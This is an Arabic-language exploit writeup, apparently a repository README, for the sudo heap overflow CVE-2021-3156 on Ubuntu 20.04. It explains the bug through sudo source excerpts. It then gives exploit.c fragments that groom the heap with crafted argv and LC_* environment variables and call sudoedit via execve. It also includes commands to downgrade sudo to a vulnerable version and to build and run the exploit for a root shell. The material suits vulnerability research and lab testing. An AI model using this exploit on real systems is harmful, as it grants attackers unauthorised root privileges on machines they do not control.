
النسخة المُصلَّحة
استخدم Dockerfille لإنشاء الصورة
docker build -t cve-2021-3156:ubuntu2004 .
استخدم الصورة لإنشاء الحاوية
docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
في إصدارات Sudo قبل 1.9.5p2، يوجد خطأ off-by-one قد يؤدي إلى تجاوز سعة المخزن المؤقت في الكومة (heap-based buffer overflow).
يمكن للمهاجم تنفيذ:
sudoedit -s <وسيط ينتهي بشرطة مائلة عكسية واحدة `\`>
لرفع الامتيازات إلى root دون الحاجة إلى كلمة مرور.
بأخذ الكود المصدري لإصدار sudo 1.8.31p1 كمثال، عند تنفيذ sudoedit -s، إذا وُجد إدخال حرف الهروب \، يتم أولاً استدعاء دالة parse_args في ملف parse_args.c للقيام بعملية الهروب على الأمر. الكود التالي سيتعامل مع هروب الأحرف الخاصة في الإدخال.
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
بعد ذلك، قبل حفظ الوسائط المُدخلة خارجياً في مساحة الكومة أو المكدس، يستدعي البرنامج دالة set_cmnd في ملف sudoers.c لنسخ وسائط سطر الأوامر إلى ذاكرة الكومة، حيث يلزم إزالة جميع أحرف الهروب \ باستخدام الكود التالي.
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
المشكلة هي: عندما لا تقوم parse_args بهروب الوسائط (أي لا تُدرج \ إضافية)، سيظل البرنامج يدخل لاحقاً إلى الدالة set_cmnd لإزالة الهروب، ولكن بسبب عدم إجراء هروب على \ المُدخلة، فإن شرط if يتحقق بعد الدخول إلى set_cmnd، فيتم تخطي \، ونسخ الوسائط التي تلي \ إلى user_args. وعندها، إذا كان المحتوى المنسوخ طويلاً جداً، يحدث تجاوز في الكومة.
يتكوّن الـ EXP من جزأين: exploit.c و shellcode.c، حيث يكون exploit.c مسؤولاً عن بناء argv و envp واستدعاء sudoedit عبر execve، وتنفيذ الاستغلال من خلال تجاوز الكومة.
exploit.c، يقوم البرنامج ببناء مخزن مؤقت (buf) بحجم 0xf0 للتحكم الدقيق في تخطيط الكومة، واستغلال تجاوز المخزن المؤقت لاستبدال البنى الأساسية. يتم التحكم في حجم التجاوز عن طريق ملء buf ('Y' و \)، ثم يتم استدعاء sudoedit عبر execve لتفعيل الثغرة. char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
LC_* لضبط الكومة. من خلال تخطيط هذه المتغيرات البيئية، يتم تخصيص البنية الهدف service_user في مسار التجاوز. يتم تمرير بيانات التجاوز عبر متغير البيئة overflow وتستبدل حقول بنية service_user. char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\");
envp المُنشأة، يتم تمرير بيانات التجاوز إلى sudoedit، مما يؤدي إلى استبدال البنية الهدف وتحقيق الاستغلال. char* envp[] = {
overflow,
"\", "\", "\", "\", "\", "\", "\", "\",
"XXXXXXX\",
// omitted some content
NULL};
sudoedit عبر execve. execve("/usr/bin/sudoedit", argv, envp);
تم الاختبار على Ubuntu 20.04، ضد sudo 1.8.31
يمكنك التحقق مما إذا كان إصدار sudo لديك يحتوي على الثغرة باستخدام الأمر التالي:
$ sudoedit -s Y
إذا طلب كلمة مرور، فمن المحتمل جداً أن الإصدار يحتوي على الثغرة؛ وإذا طبع معلومات الاستخدام، فإن الإصدار لا يحتوي على الثغرة.
يمكنك خفض إصدار sudo على Ubuntu 20.04 إلى إصدار قابل للاستغلال للاختبار باستخدام:
$ sudo apt install sudo=1.8.31-1ubuntu1
طريقة الاستخدام نفّذ الأمر make للترجمة ثم نفّذ الاستغلال:
$ make
$ ./exploit
بعد نجاح الاستغلال، تم الحصول على shell تفاعلي بصلاحيات root، يمكن من خلاله تنفيذ عمليات مميزة.
